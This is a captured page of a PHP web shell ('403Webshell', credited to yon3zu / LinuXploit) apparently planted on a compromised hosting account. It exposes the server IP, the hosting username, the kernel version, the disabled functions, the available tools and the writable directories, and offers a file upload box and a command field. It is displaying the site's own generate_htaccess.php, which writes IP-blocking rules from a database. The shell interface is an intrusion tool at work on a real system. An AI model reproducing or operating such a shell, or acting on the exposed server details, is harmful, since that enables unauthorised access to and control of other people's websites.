403Webshell
Server IP : 46.202.172.170  /  Your IP : 216.73.216.59
Web Server : LiteSpeed
System : Linux fr-int-web1904.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u627918583 ( 627918583)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u627918583/domains/techtime-om.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u627918583/domains/techtime-om.com/public_html/generate_htaccess.php
<?php

include "connection.php";
global $connection;

// جلب عناوين IP من قاعدة البيانات
$sql = "SELECT ip_address FROM ips_block";
$result = $connection->query($sql);

// تحديد مسار ملف .htaccess
$htaccess_path = $_SERVER['DOCUMENT_ROOT'] . "/.htaccess";
$htaccess = fopen($htaccess_path, "w");

if ($htaccess) {
    // كتابة التعليمات الأساسية لملف .htaccess
    fwrite($htaccess, "<IfModule mod_rewrite.c>\n");
    fwrite($htaccess, "RewriteEngine On\n");

    // إضافة تعليمات حظر لكل عنوان IP
    if ($result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            $ip_address = preg_quote($row['ip_address'], '/');
            fwrite($htaccess, "RewriteCond %{REMOTE_ADDR} ^" . $ip_address . "$\n");
            fwrite($htaccess, "RewriteRule ^ - [F,L]\n");
        }
    }

    fwrite($htaccess, "</IfModule>\n");

    // إغلاق ملف .htaccess
    fclose($htaccess);
    echo "تم تحديث ملف hataccess بنجاح.";
} else {
    echo "Unable to open .htaccess file!";
}

// غلق الاتصال بقاعدة البيانات
$connection->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit